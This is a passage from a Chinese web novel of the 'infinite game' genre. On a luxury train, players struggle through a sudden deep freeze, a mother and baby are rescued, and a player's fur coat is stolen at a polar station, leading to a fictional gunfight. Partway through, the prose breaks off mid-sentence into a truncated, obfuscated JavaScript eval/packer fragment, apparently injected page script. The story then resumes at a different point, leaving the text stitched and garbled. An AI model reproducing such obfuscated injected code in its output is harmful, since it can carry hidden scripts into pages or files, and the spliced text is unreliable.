玛莲娜站在大局上制止自己过分虐待没有错，她只是不知道汪橦作为一个流落在大世界，没有强力道具，没有天赋技能，一下成为乘务员的新人玩家所拥有的难处。 安德鲁示意汪橦走到自己面前，接过他递给她的一张全新的广播稿。汪橦知道他的潜台词，意思是告诉汪橦：她惹出来的“祸事”她自己收拾。 如果安德鲁知道汪橦是这么误解自己的意思的，当场就能不顾自己作为“北极星号”列车长的领导身份，跪下抱住他心目中“总设计师大人”的大腿哭嚎—— 大人，我这不是以为你要微服私访，专门让你来播放副本升级后的广播以表示自己的大公无私，绝不纵容你的马甲“汪橦”胡来的行为吗？ 汪橦默默接过广播稿，转过身扫了一眼其他人的神情。玛莲娜和妮雅神色都有些郑重，看见汪橦的眼神，妮雅冲她安抚性一笑，玛莲娜则点头示意打招呼。站在两人与安德鲁之间的司寇却丝毫不见神态紧张，像是已经经历过很多次副本升级的情形。 02号车厢内，众人没有特别关注的车内温度计突然抖动了一下，数字从11℃跳落到1℃。 …… 林深正倚着自己软卧里的车窗打盹，忽然被一阵凉意惊醒。睁开眼后，他下意识摩挲自己的双臂，喃喃道：“怎么突然冷起来了？”他看了眼手表：现在是早上七点。打开房门，车厢里已经乱作一团。 “怎么回事？空调坏了吗？”1号床的胖男人半个身子探出房门外，扯着嗓子喊道，他的声音在寂静的车厢里格外刺耳。林深看见他肥厚的脖颈上已经起了一层鸡皮疙瘩，额头上却还在冒汗。 温度计显示零下四度，而且还在持续下降。车窗上结起了薄薄的冰花，像某种诡异的藤蔓，在玻璃上蜿蜒生长。玩家们呼出的气息在空气中凝结成白雾，又迅速消散。 林深又看了一眼手表：现在是早上七点零五分。短短五分钟过去，温度再次下降，温度计显示零下九度。 “乘务员！乘务员在哪？”一位中年女玩家颤抖着声音喊道。林深所在的车厢处于“北极星号”中间，她的声音自然传不到几个正在02号车厢负责广播和进入03号车厢进食早餐的乘务员耳朵里。 这位中年女玩家显然也反应了过来，回身进入房间，按响了桌铃。尽管是副本NPC，在“北极星号”上乘务员们同样要完成自己的工作，扮演好一个负责的乘务员角色。 车厢连接处传来急促的脚步声。妮雅小跑着过来，她单薄的紫红色制服外面什么也没套，可脸色依然如常。“各位乘客，非常抱歉，空调系统出现了故障，我们正在全力抢修……”她的身后跟着玛莲娜。 话音未落，一个西装革履的中年男玩家猛地拉开房门，显然他一直在门后注意外面车厢里的动静：”抢修？你知道现在多少度吗？零下十四度！再这样下去会出人命的！"他的领带歪在一边，精心打理的发型也乱了，完全没有了平日里的体面。 妮雅装作擦去额头汗的样子，对中年男人一笑：“抱歉，我会催一下机械师玛莲娜尽快修好……” 她的演技漏洞百出，明明跑得急，额间却不见任何汗珠。玩家们或许不知道，但是她们只要打开车厢门随时可以想去哪节车厢去哪节车厢，哪里需要小跑得气喘吁吁的模样……何况这个调皮的女人，刚刚可是铃响后仍然不急不忙地在餐车吃完了整整四十个小笼包，才起身过来。 玛莲娜点头示意中年男人自己会尽快抢修，而后抱臂倚在车厢连接处不动。中年男人见两位NPC，一位嬉皮笑脸地赔罪，一位油盐不进地沉默的模样毫无办法，只能咬牙关上门回去。 “极地旅游团”副本的故事情节被总设计师设定成“一行人来极地旅游，遇上了列车失温，死的死，死的死”。因此玛莲娜根本不可能修好列车的保暖系统，她只是一个扮演“机械师”的副本员工罢了。 此时离中年女玩家按响桌铃，已经过去整二十分钟。那位中年女玩家，显然不是提前知道“极地旅游团”副本内容的人，她没有带任何厚衣物。 林深尽管早已冻得嘴唇发紫，浑身发抖，他仍然坚持伸头观察着妮雅和玛莲娜的一举一动。 妮雅推开房门，只见中年女玩家缩在床上，裹紧了身上的毛毯和一床被子，可那单薄的布料显然抵挡不住这突如其来的严寒。她说话时牙齿不住地打战：“你，你好。给我加两床厚被子！” “好的女士，这就为您准备。”妮雅正要离开，林深照猫画虎地喊住了她：“你，你，是你！”林深似乎终于想起对方正是昨晚在餐车里见过的人。他放软了语气：“请问你可不可以也给我送两床厚羽绒被？” 妮雅后退半步，上下打量了一番林深：“原来是你啊。当然可以，我会尽快送来加厚羽绒被。”正要离开，她的手在林深房门的门框上敲了十几下。 林深定睛一看：是摩斯电码？！ 他抓住时机连连点头，对斜眼看向自己的妮雅比了一个“耶”的手势。妮雅噗嗤一笑，和玛莲娜离开车厢。 高隽所在的车厢末的床位房间里传来孩子的哭声，房门敞开了一条缝，似乎被不知道哪里吹来的风打开了。 一个年轻的母亲紧紧抱着婴儿，试图用自己的体温温暖孩子。高隽第一次在游戏副本看见有婴儿，婴儿也算玩家，但是婴儿的特殊性决定了他们会跟自己的母亲或父亲绑定在一起，通过二十四个副本。 假如是在地球上，高隽会走进房间关心这位年轻的母亲。但在副本里，她已经通过了八个副本，她知道滥好人是活不长的。哪怕她装作要去餐车吃早餐，路过时清楚看见年轻母亲的睫毛上俨然结了一层白霜，怀里的婴儿却反常地安静，小脸通红。 高隽回到自己的房间，按下桌铃。同一时间，广播突然发出刺耳的电流声。汪橦的声音穿透所有车厢： “各位玩家，早上好！现在播报紧急通知。由于本次列车遭遇极地寒暴，空调系统已完全失效，预计两小时内温度将降至零下五十度。请各位玩家注意防寒保暖！” “今日餐车食物照常提供，欢迎大家前去消费。同时，请各位玩家注意：禁止进入乘务组工作人员的工作区域，违者将被列车防御系统自动抹杀。” “最后，我谨代表全体工作人员再次提醒大家：无论面临怎样的困难，请及时向我们寻求帮助。我们竭尽所能为大家服务。玩家不得攻击动车组工作人员。” 车窗上的冰花越结越厚，反常地是，厚厚的冰晶并没有将外面的世界完全遮蔽，玩家仿佛透过凸透镜更加清晰地看清窗外的极地风景。“北极星号”，已经成了一座移动的冰窖，而玩家们，是被困其中的囚徒。 “女士们，先生们，欢迎您乘坐本次列车。列车运行前方到站是，极地站。本次列车全列禁止吸烟，感谢您的配合。列车停靠时间总计四小时，期间玩家们可以自行安排。” 汪橦平静的语调渐渐高昂，她正调动自己模仿生前见过的景点导游说出欢快的话： “欢迎来到极地站！各位勇敢的探险家们，欢迎来到地球的尽头——极地站！” “在这里，您将亲身体验到极地的壮丽与神秘。抬头仰望，您可能会看到绚丽的极光在夜空中舞动，如同上帝泼洒的颜料，将漆黑的夜空装点得如梦似幻。极光之下，是广袤无垠的冰原，洁白无瑕，一望无际，仿佛时间在这里静止。” “在这里，您将有机会近距离观察极地特有的野生动物。憨态可掬的企鹅，在冰面上摇摇摆摆地行走；威风凛凛的极地熊，在浮冰上悠闲地晒着太阳；还有海豹、海象等极地精灵，它们在这片冰雪世界中自由自在地生活着。” “当然，来到极地站，您还可以了解到科学家们是如何在这片极端的环境中开展科研工作的。他们不畏严寒，不惧艰险，为探索地球的奥秘，为保护极地生态环境，贡献着自己的力量。” 汪橦仍然记得副本刚开始时，游戏面板上显示的副本信息—— 【注意：列车内所观景色不一定真实，中途列车停靠时，希望各位玩家不要冲动下车。】 她脑海里自动接收到的副本信息告诉她，此次列车停靠的“极地站”是真实的车站，也是副本设计里提供给玩家进入后续更加难捱的生存环境前最后一次补充物资的机会。现在就是看这批玩家能不能胆大地下车了…… 一开始，无人下车。直到有眼尖的玩家注意到身穿紫红色制服的乘务员妮雅下车抽烟后，第一批总共五个胆大的玩家跟在后面下了车。陈岩是五个之一。 他站在极地站的月台上，呼出的白气瞬间凝结成冰晶，在阳光下折射出细碎的光芒。这里是世界尽头的车站，铁轨向南北两个方向延伸，消失在茫茫冰原之中。月台上的长椅是用整块的冰雕刻而成，表面铺着厚厚的极地熊皮毛。 车站的外墙完全由冰砖砌成，表面经过特殊处理，在严寒中保持着晶莹的质感。阳光穿过冰墙，在站内投下变幻莫测的光影，仿佛置身于一个巨大的万花筒中。 推开沉重的冰制大门，寒气扑面而来。候车大厅的天花板上悬挂着无数冰棱，长短不一，像倒置的森林。每当有列车进站，震动就会让这些冰棱相互碰撞，发出清脆的声响，宛如风铃。 大厅里硕大的白晶板浮空，三百六十度无死角地展示上面晶蓝的文字—— 【温馨提示： 1.极地气候严寒，请您务必做好防寒保暖措施。 2.请尊重极地生态环境，不要随意丢弃垃圾，不要惊扰野生动物。 3.请听从工作人员的指挥，注意安全。 极地站欢迎你！相信这次极地之旅，一定会成为您人生中最难忘的回忆！现在，就让我们一起开启这段奇妙的旅程吧！】 售票窗口的玻璃上结着精美的冰花，那是水汽在极端低温下自然形成的艺术品。透过冰花，可以看见售票员呼出的白气在窗前缭绕。 陈岩能感觉到刺骨的寒意透过他一发现气温下降就穿上的系统出品的双层羽绒服渗入骨髓。墙上的温度计显示零下五十度，但在这里，这已经算是”温暖"的天气了。 站台边缘立着一排冰雕路灯，灯罩是用整块水晶打磨而成。夜幕降临时，暖黄色的灯光会透过水晶折射，在冰面上投下斑斓的光晕。这些路灯永远不会熄灭，因为在这个极夜长达数月的地方，黑暗才是最大的敌人。 汪橦才从广播室出来，就收到了十数条来自软卧车厢各位玩家的乘务员呼叫响铃。显示不同车厢不同床位的红点一股脑亮起，紧促的铃声此起彼伏叮铃铃振动。 妮雅还老神在在地倚在站台上抽烟，一副事不关己的模样。汪橦只得自己前去这些车厢处理。车厢内的温度更低了，空气中弥漫着一股寒意。 汪橦不停拉开车厢门，穿梭在02车厢和其余软卧车厢之间。她面色平静，似乎丝毫不受寒冷的影响。这是她身为乘务员的员工福利—— 无论车内环境如何，只要汪橦身着制服，她就能一直感受26℃的适宜室内温度。 来自玩家的呼叫信息里十之八九都是要求乘务员提供毛毯、靠垫、热水。没错，现在各位玩家所住的房间内的热水供应系统也坏了。 玩家们只能去餐车接热水喝。但去餐车就意味着要出房门走动，对玩家自身的热量是一种消耗，倒不如让乘务员拿着他们各自的容器去餐车接回热水。 02车厢里有专门存放毯子、防寒服、靠垫等保暖物品的小房间，对于汪橦而言，自己只需要轻拉车厢门就可以随意进出列车上任意车厢，向玩家拿取他们需要的物品并不烦累。 不过大部分玩家看见是汪橦前来，而非另一位乘务员妮雅后，表现得意外拘谨。 汪橦也没有多说，只安静地速去速回，将玩家需要的东西递给对方就离开。她没有必须的义务提醒这些滞留在房间里的玩家下车去极地站采购物资。 汪橦迅速整理了一下思绪，朝着高隽所在的车厢走去。谁知对方竟不是为了自己，而是为了车厢末端的一位妇女按响乘务员呼叫桌铃。 她走到车厢末端的床位房间，听到里面传来婴儿微弱的哭声，房门虚掩着，仿佛被一阵无形的风轻轻推开。 汪橦轻轻敲门，扭头看向紧随其后的高隽，示意对方推门而入。待高隽走入屋内，什么也没有发生后，汪橦方才踱步进入。 房间内，高隽发现这位年轻的母亲仍维持着广播响起前的姿势，一动不动。不过她的身前披了一层薄薄的毛毯，毛毯将她怀里的婴儿盖住了。似乎是车厢内有好心的玩家路过看不下去干脆帮了她一把。 高隽小心掀起一侧毯子，发现婴儿紧紧被这位年轻的母亲抱在怀中。年轻的母亲一动不动地垂着脑袋，她的手臂不再微 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在按响桌铃呼叫乘务员之前，在带着孩子去医务室之前，婴儿的哭声让她本能地选择了先抱起自己的孩子。她错失了自救的良机。 她并非愚蠢，也并非分不清轻重，只是一个母亲在听到幼儿哭泣时的本能反应。然而，这番出于本能——或者说，母性的天性——的举动，却将她与婴儿一同冻僵在了原地。 汪橦心中泛起复杂的情绪。 她不知道自己是否应该敬佩这位母亲在母职上的伟大，还是应该得出女性在面对危机时更应理性，克制生理本能的结论。然而所谓女性的生理本能，诸如“女性比男性更容易感情用事”，“为母则刚”之类，是真的存在的事实吗？ 你明明即将失温死去，却优先安抚自己的孩子不要哭泣。你明明被母亲哺育幼儿的亲情所害，却偏生被亲情支撑下的一口气撑到等来救援。感人吗？很感人吧。荒诞吗？笑出声吧。 汪橦想到了古希腊“产翁制”的现实背景下，美狄亚扼杀亲子的神话；想到了赫拉杀死了拉弥亚的孩子后，拉弥亚在极度的悲痛和疯狂中，偷走并杀害其他母亲的孩子。 为什么偏偏是年轻的女性母亲和幼小的婴儿组合在一起进入了游戏？为什么这样的组合如此常见？婴儿的父亲去哪儿了呢？ 在世界各地的神话中，仙女/女神/天女皆与凡人相爱并生下了孩子。然而，由于仙女/女神/天女不能长久留在人间，她们最终或被外力胁迫，或主动选择不得不离开她的孩子和丈夫。 在神话中，她们的离开可以被视为一种象征性的牺牲，因为她必须放弃母亲的身份，回到天界。哪怕贵为神仙，牺牲也成为了一个她们必须经历的人生命题。 汪橦将手里的毛巾转递给高隽，让她帮助这位年轻的母亲擦拭回暖，自己则抱着婴儿离开。 高隽正准备动手，忽然听到身后传来一个熟悉的声音：“你确定要帮她吗？”她回头一看，李雯菡正靠在门边，双手抱胸，眼神复杂地看着自己。李雯菡的语气中带着一丝警告，仿佛在提醒他什么。 高隽沉默了片刻，随后轻声说道：“我知道你的顾虑。但在这种环境下，母亲和婴儿的组合……他们的生存几率本来就很低。如果我们不帮，他们可能撑不过这个副本。” 李雯菡的眼神微微闪动，似乎被高隽的话触动。她走进房间，压低声音说道：“你说得对，母亲和婴儿在无限流游戏里确实是最脆弱的组合。婴儿没有自保能力，母亲为了保护孩子，往往会牺牲自己。我见过太多这样的例子了。” 她的语气中带着一丝沉重，仿佛回忆起了什么不愿提及的往事。高隽看着她，轻声问道：“你之前遇到过类似的玩家？” 李雯菡点了点头，目光落在年轻母亲怀中的婴儿身上，眼神中闪过一丝怜悯：“在第三个副本里，我遇到过一个带着婴儿的母亲。她很强，甚至比大多数玩家都强。但为了保护孩子，她最终没能撑过去……婴儿也没能活下来。” 房间内一时陷入了沉默。高隽和李雯菡都是集散地的玩家组织“燃火”的成员，高隽比李雯菡进“燃火”的时间晚，她不知道李雯菡还经历过这样的事。 高隽深吸一口气，打破了沉默：“正因为如此，我们才更应该帮他们。无限流游戏虽然残酷，但我们依然是人，不能丢掉最基本的人性。” 李雯菡沉默了片刻，最终叹了口气，点了点头：“你说得对。或许……我们可以一起想办法。” 她走到年轻母亲身边，掏出一块拳头大小的半透明晶体。晶体内部仿佛有流动的火焰，散发出柔和的金色光芒。 高隽愣住：“这是，暖光石？” 【名称：永恒暖光石（稀有） 外观：一块拳头大小的半透明晶体，内部仿佛有流动的火焰，散发出柔和的金色光芒。晶体表面刻有古老的符文，触摸时能感受到微微的温暖。 特性：随时根据环境进行自适应调节】 【用途：1.取暖：使持有者及其周围一定范围内（约3米半径）保持温暖，即使在极寒的环境中也能提供舒适的体温保护。 2.照明：使用者可以通过简单的触摸控制，将光线聚焦在特定方向或区域，方便探索或阅读。 3.驱散黑暗生物：暖光石的光芒对某些黑暗生物或邪恶存在具有驱散效果，能够在一定范围内保护持有者免受它们的侵扰。 4.心灵安抚：暖光石散发出的温暖光芒还能在一定程度上安抚使用者的情绪，缓解焦虑和恐惧，适合在高压环境下使用。】 【注意：在极端恶劣的环境（如绝对零度或超高温）中，暖光石的效果可能会受到一定影响，但仍能提供基础的保护。】 李雯菡回答道：“没错，它是部长知道我们要组队进入’极地旅游团’后借给我的。部长先见之明这个副本并没有我们最初以为的那么简单，因此提前将暖光石拿了出来。在极寒副本中，暖光石可以提供持续的温暖，避免冻伤。” 永恒暖光石能够根据环境温度自动调节，释放出适宜的热量。在高温环境中，暖光石可以吸收多余的热量并储存起来，等到寒冷时再释放，确保能量的高效利用。 并且，永恒暖光石几乎没有使用条件限制，不需要像某些道具只能绑定一位玩家才可以使用，永恒暖光石随拿随用，只要使用者愿意就可以照顾到周围其他人，十分实用。 但永恒暖光石只能从某几个科幻副本里有不到20%的概率获取，游戏商城并不对外出售。因此，在集散地的几千位玩家里，永恒暖光石的数量也不过才十几个。“燃火”掌握了两块暖光石。 道具不可能在一个副本里全部借出去，一旦玩家身死，道具要么就此消失在副本里，要么被别的玩家抢走。两块永恒暖光石，必须留一块在组织内。 在暖光石的帮助下，年轻母亲筋血活络，手微微颤抖，眼中泛起泪光：“谢谢……真的谢谢你们。”她总算可以说出这许多字来。 看着这一幕，李雯菡知道，在这个充满危险和未知的游戏世界里，帮助别人可能会让自己陷入险境。但正如高隽所说，她们依然是人，不能丢掉最基本的人性。 在高隽的陪伴下，半小时后，年轻母亲坐在医务室里，穿上汪橦从02号车厢拿来的防寒服，轻轻拍打着医疗仓外壳。躺在医疗仓中的婴儿听到母亲低声哼着摇篮曲终于再次嘹亮地哭出了声。 汪橦尽了乘务员的职责，将厚毛毯铺在对方的床单上，又递过去一床羽绒被，一床厚棉被。临走时汪橦还是开了口：“可以下车多买些食物和水，后期副本生存艰难，资源会越来越稀缺。” 光靠爱心在“北极星号”上是挺不到最后一天的。汪橦想到安德鲁递给自己的广播稿最后几段话，没有去看年轻的母亲和还陪着她的高隽的神情，直接离开了玩家所在的软卧车厢，下了车，想要逛一番极地站。 或许，在这个残酷的游戏世界里，依然存在着一些值得守护的东西。 28. 北极星号（5） 作为最先下车的五位玩家之一，陈岩没有和另外四位一样冲向极地站内一楼大厅两侧的超市和便利店购入食物。他推开了车站二楼一家占地最广的奢侈品店的玻璃门。 “北极星号”作为豪华旅游专列，停靠的自然也是豪华候车站。极地站站内上下四层楼，囊括了候车区、购物区、餐饮区、休闲娱乐区。因此站内购物区充满各类奢侈品店、免税店、纪念品店和超市便利店。 陈岩一推开奢侈品店的玻璃门，一股淡淡的香氛气息扑面而来。店内灯光柔和，陈列架上整齐地摆放着各类高端商品，从皮具到珠宝，每一件都散发着精致与奢华的气息。 他的目光被一件深灰色的皮草大衣吸引，大衣剪裁利落，面料细腻，关键是那个毛皮一看就很暖和。 一名身穿黑色制服的女店员微笑着迎了上来，她的妆容精致，声音轻柔而专业：“先生，您好，请问有什么可以帮到您的？” 陈岩指了指那件皮草大衣，说道：“我想试试这件。” 店员点点头，动作娴熟地将大衣从衣架上取下，轻轻抖开，递到陈岩手中：“您的眼光真好，这是我们品牌今年的限量款，采用顶级极地熊毛面料，保暖性和舒适性都非常出色。您可以试穿一下。” 陈岩接过皮草大衣，手感柔软而厚重。零下五十度的温度里，他摸到它仿佛触摸到一片温暖的云。 他直接在自己提前带进副本并早早穿好的防寒服外面套上大衣，站在镜子前打量自己。大衣的剪裁完美贴合他的身形，如果在副本里遇到危险也不会阻碍他的行动。 “很合适您，”店员微笑着说道，“这件大衣的设计简约大气，非常适合您的气质。” 果然不出陈岩所料，“极地旅游团”作为生存类副本，不会给玩家必死局。 今天清晨，玩家刚醒就面临严峻的极寒问题。此次“北极星号”车厢温度的下降速度远超之前玩家集散地里流传的经验贴里提到的下降速度。哪怕是有所准备的老玩家也被打了个措手不及，所有人一定程度上陷入慌张。 但偏偏今天下午“北极星号”停靠了进入副本以来的第一站——极地站。这正是副本给玩家的机会。聪明人必能想到车站内部有应对当下极寒问题的方法。 陈岩确信，例如这件用极地熊毛皮制作的顶级皮草大衣，正属于那些方法之一。下车前，乘务员广播中提到很长一段旅游介绍，寻常玩家在慌张中不一定会细听。但陈岩作为一名曾经的维和军人，他早已在无数危险的战场上锻炼出强大的心理素质。 他敏锐地听清汪橦提到了：“在这里，您将有机会近距离观察极地特有的野生动物。……威风凛凛的极地熊……” 能够在极地环境下存活的极地熊的皮毛制作出的衣物自然能够应对“北极星号”的极寒。陈岩点点头，心中已经决定购买。他问道：“这件大衣多少钱？” 店员保持着职业的微笑，回答道：“这件大衣的价格是八十八万八千元。因为它是限量款，所以价格相对较高，但它的品质和设计绝对物有所值。” 陈岩微微挑眉，虽然他对价格有所预期，但这个数字还是让他有些意外。哪怕陈岩作为老玩家，那么多次副本奖励的货币加起来也不够这个数字。 他沉吟片刻，凭空抽出一张黑色的信用卡，递给店员：“那就这件吧，帮我包起来。” 【名称：无限信用卡（稀有） 外观：通体呈现深邃的黑色，边缘镶嵌着细密的金色纹路，卡面中央有一个不断旋转的银色漩涡图案。 用途： 无限透支：持有者可以使用这张信用卡进行无限制的消费，无需担心余额不足。无论是购买装备、物资，还是支付服务费用，信用卡都能自动生成所需的货币金额。】 【注意： 1.无限信用卡无法用于直接购买生命、灵魂或其他无法用金钱衡量的物品。 2.在某些特殊的副本世界中，无限信用卡的功能可能会受到限制。例如，在魔法副本世界中，信用卡可能无法生成魔法货币；在科技高度发达的副本世界中，信用卡可能会被高级AI追踪到。】 【使用代价：】 【1.债务转移：信用卡产生的债务将自动转移到下一位消费同样商品的目标身上，转化为商品所增加的价格由下一位消费者承担。本道具持有者无需承担任何责任。 2.信用诅咒：每次使用无限信用卡进行大额消费时，持有者都会受到一定程度的“信用诅咒”。诅咒的效果随机，可能是短暂的运气下降、遭遇意外事件，或是被某些强大的存在盯上。诅咒的强度与消费金额成正比。】 【持有者须知：】 【1.无限信用卡并非万能，过度依赖它可能会导致无法预料的后果。 2.每次使用信用卡时，务必谨慎考虑其带来的连锁反应。 3.信用诅咒是不可逆的，持有者必须自行承担其后果。】 店员仿佛没有发现陈岩是凭空变出似的，接过信用卡，脸上的笑容更加灿烂：“好的，先生。请您稍等，我为您办理结账手续。” 她转身走向收银台，动作利落地操作着机器。片刻后，她将信用卡和购物小票双手递还给陈岩：“先生，您的账单已经处理好了。大衣我们会为您精心包装，您可以选择现在带走，或者我们提供送货服务。” 陈岩收起信用卡，说道：“现在就带走吧，我赶时间。” 店员点点头，迅速将大衣装入一个精致的防尘袋中，再放入品牌标志性的购物袋里，双手递给陈岩：“感谢您的光临，期待下次为您服务。” 陈岩接过购物袋，微微颔首，转身离开了店铺。店门在他身后轻轻合上，店内的香氛气息渐渐消散，下一刻购物袋凭空消失，那件大衣已稳当套在了陈岩的身上。 从奢侈品店出来不到一刻钟，陈岩在一楼超市零食区的角落里，找到了被同一时间进入极地站的另外四位玩家忽视的压缩饼干。压缩饼干无人问津。陈岩干脆计算着自己每天的饭量，按照三十天的分量将压缩饼干买下放入了道具栏。 陈岩还购入了热水器、取暖器。他原来低估了副本的极寒温度下限，现在他打算同时开多个取暖器放在房间内，毕竟他总不能穿着大衣洗澡吧。洗完澡出来，房间内总得保持暖和的温度才行。 陈岩正打算回到“北极星号”上，忽然膀胱处传来一阵尿意，这股尿意来得迅猛无比。他本欲回车上再解决，然而他的直觉告诉他如果不立刻照着指示牌进入洗手间放水，他立刻便能体会到失禁的羞耻感。 洗手间的镜子是用冰打磨而成的，表面永远蒙着一层薄霜。水龙头里流出的水会在空中结成冰珠，落在地上发出清脆的响声。这里的一切都在提醒着你，寒冷是无处不在的主宰。 啪嗒一声，陈岩解开了下半身的皮带。他正要速战速决，忽地身上一轻。 隔空取物，道具技能，发动！ 陈岩全身肌肉绷紧，他的大衣不见了！ 【名称：雪影手套（稀有） 外观：半透明的冰晶纤维编织而成的手套，表面浮动着极光般的粒子流。 功能： 1.隔空取物：可隔空抓取20米内重量＜5kg的物体（每日限3次） 注意：抓取轨迹会形成持续5秒的冰晶路径（可能暴露使用者位置） 2.冰脉冻霜（被动技能） 触碰金属物体时自动生成冰锁（可临时固定目标3秒） 被取物表面将凝结-20℃低温层，持续1小时】 一道冰蓝色星芒从他的眼角余光闪过。陈岩赫然伸手，竟是一把握住了对方的手腕。触手冰凉，纤细得不像男人的手腕。他还没来得及细想，对方已经借力翻身，一个凌厉的后空翻，修长的腿带着破空之声直劈他的面门。 陈岩不得不松开手，后撤半步。那人落地无声，像一片羽毛般轻盈。对方戴着黑色头套，陈岩看不清她的脸。她本不欲纠缠，转身就朝洗手间出口跑去。 “把东西还我。”陈岩压低声音。他能感觉到，眼前这个人不简单。“豹行。”他发动了自己的天赋技能。 这是陈岩在达到“综合格斗（大师级）”认证后，在游戏商城用积分兑换的进阶技能。他发动“豹行”后不仅可以在0.3秒内跑出百米以上的距离，还能变换形态。 一瞬间，陈岩身形在原地一闪，只残留半个幻影。他霎时堵住了对方的去路，大马金刀地一立向对方伸出手去示意交回大衣，却没有发怒，而是镇定地再次重复前面的话。 对方没有回答，只是微微侧身，右手在腰间一抹，一道银光闪过。陈岩瞳孔骤缩，那竟是一把加了消音器的银色手枪，枪身在满室寒冰反射的灯光下泛着森森寒光。 陈岩猛然转身，右手已经凭空掏出一把手枪。但对方比他更快，一声轻微的“咔嗒”声，那是手枪保险打开的声音。陈岩几乎是本能地向侧方扑倒，一颗子弹擦着他的耳朵飞过，在身后的冰墙上打出一个冒着白烟的弹孔。 没有发出预期的撞击声，而是“嗤”的一声，墙面竟然开始融化，像是被强酸腐蚀或者被高温熔化一般，冒出阵阵烟雾。陈岩瞳孔骤缩，这是什么子弹？ 他顺势朝后翻滚，拔出手枪。对方本意不在于战斗，见到陈岩向后退让出一侧，立时沉默着就要继续闪人。 陈岩不甘示弱地回了一连串精准的点射。子弹打在地面上，发出”噗噗”的闷响。陈岩能感觉到对方的动作专业得像个特种兵。子弹几乎是贴着她的头皮飞过，她却浑然不觉似的朝前快速移动。 陈岩自信自己的枪法很准，每一枪都打在要害位置，但对方却可以灵活地避开每一枪。他盯着对方的背影，莫名的熟悉感涌上心头，最近在哪里见过这副背影吗——“你是，列车上的机械师？！” 玛莲娜充耳不闻，一味沿着楼侧的自动扶梯向上跑去，她想快速返回四楼的露天站台，登上“北极星号”。 陈岩原本熄火的心又燃烧了起来，他想不明白列车工作人员为什么要抢乘客的东西，更想不通上一次这位机械师明明放过了自己，这次为何偏不搭理自己？ 他再发一枪。 “砰！” 一声枪响，玛莲娜闷哼一声。左手的近乎透明的冰蓝色编织手套掉在地上。一颗子弹粘附在手套上，凭借惯性冲击力将手套从玛莲娜手上摘下。 尽管玛莲娜因手套的缘故不曾受伤，但她动作迟缓的瞬间，陈岩再次发动“豹行”，一跃而上，趁她愣神之际，腾空摘下她的头套并将她以擒拿的姿势遏制住。 “我听说过一个名叫’雪影手套’，能够隔空取物的道具。它的抓取轨迹会形成持续5秒的冰晶路径，想必就是在我眼角一闪而过的那道蓝色光芒吧。”陈岩看着迅速平静下来面无表情的玛莲娜。 近看玛莲娜，也不过三十出头，皮肤白皙得近乎透明，眉眼带着几分凌厉，顶着一头令人眩目的金发。此刻她正一眨不眨紧盯着陈岩，仿佛一头蓄势待发的金钱豹。 “你为什么要袭击我？如果是想要那件大衣……列车上的工资应该不低。”陈岩低头望向被他制住的玛莲娜右手还抓着银色手枪，脑中的系统面板自动扫描出道具信息—— 【名称：熔银之怒（传说） 外观：一把精致的银色手枪，枪身雕刻着古老的符文，散发着淡淡的银光。传说这把枪是由一位古老的银匠大师打造，融合了神秘的力量。 特性：这把枪发射的子弹具有熔化能力，能够穿透并熔化大多数物质。】 【道具属性：每秒2发子弹，弹夹容量10发，换弹时间2秒。 特殊效果： 1.子弹命中后，会在目标表面产生熔化效果，持续熔化范围扩大至命中对象完全消失。 2.使用者各项属性得到5%全面提升： “熔银之怒”是由一位古老的银匠大师打造，传说他为了对抗邪恶势力，将自己的灵魂融入银中，打造了这把具有熔化能力的手枪。这把枪不仅是一件武器，更是一件艺术品，枪身上的符文蕴含着古老的力量。如今，这把枪传承给了每一位勇敢的战士，让他们在战场上如银焰般炽热。 】 【道具技能： 银焰爆裂： 发射一颗特殊的银焰子弹，命中后产生爆炸，对范围内的所有敌人造成伤害，并附加熔化效果，持续效果至消灭所有敌人。】 竟是传说级别的道具！陈岩瞳孔一缩，有那么一瞬间他可耻地产生了想要杀人越货的念头。 但陈岩心里清楚自己的道具“无限信用卡”每一次使用后都会产生短暂的运气下降、遭遇意外事件的后果。 或许正因为这个负面效果，他的大衣才会被列车上的工作人员盯上。有时，遭遇意外事件不一定全是不好的事情，只要足够机敏，就能化危机为转机。他没必要此刻杀死这个机械师，更何况，对方在发电车厢里曾经轻易就放走了他。 他压下心中的歹念，再次出声询问：“这件大衣有什么特别的吗？需要你亲自得到它？” 玛莲娜寒光一闪，猛地腰肢一拧，身向后仰，同时右脚发力精准地踩上陈岩的足尖。陈岩吃痛，五指不由自主地放松钳制。玛莲娜借势旋身，手腕轻巧一转，整个人已如蝴蝶穿花般脱离陈岩掌控。 她退开三步，声音里带着几分冰冷：“你的身手不错，但……”她顿了顿，”脑子还得多练。” ？？？ 什么意思？ 玛莲娜转眼又回到了那副波澜不惊的冰山模样。她继续说：“我知道你刚刚捉住我前的那招——‘双生子弹’对吧？大师级的狙击技能。没想到你将它活用到近距离射击上……” “双生子弹”是指： 玩家发射两颗子弹，第一颗子弹作为掩护，吸引敌人的注意力，第二颗子弹则隐藏在第一颗子弹的轨迹中，进行致命一击。这种技巧源自古老的狙击战术，能够在敌人毫无防备的情况下造成巨大伤害。 “你该庆幸你没有真的想杀死我，拿走我的道具。即便没有规定玩家在列车外的地方不得攻击列车工作人员。但是在极地站内，你若真杀死了我，恐怕也走不出去。”玛莲娜语气凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他在观察其中一头在极地站大门口最前方徘徊的极地熊。它的动作有些…不对劲。熊掌落地的节奏过于规律，不像野兽的蹒跚，倒像是人类刻意模仿的步态。 冷汗顺着脊背流下。那头熊突然停下脚步，脖颈以一种诡异的角度扭曲着，缓缓抬起向两人的方向。极地的日光强横地照射在它的身上，让陈岩几乎没有躲避注视它的机会。 那东西缓缓站起，庞大的身躯足有两米多高，粗壮的熊掌踏在地上却诡异地没有发出任何声响。当它完全直立时，陈岩没有放过任何细节地看清了那张脸。 他的心脏几乎停止跳动。那根本不是熊的脸！周围丛生的灰褐色绒毛上嵌着一张惨白的脸，脸上有人类的五官，眼睛大得离谱。 两人一熊的目光在空中相遇。它歪着头，喉咙里发出低沉的笑声，那声音近得仿佛就在陈岩耳边。 午后的强光洒在车站广场上，突然，地面传来一阵沉闷的震动。数十头极地熊从四面八方涌来，它们庞大的身躯挤满了广场，粗重的喘息声此起彼伏。领头的巨熊立起，足有三米多高，厚重的熊掌拍打着极地站的冰门，发出"砰砰"的闷响。 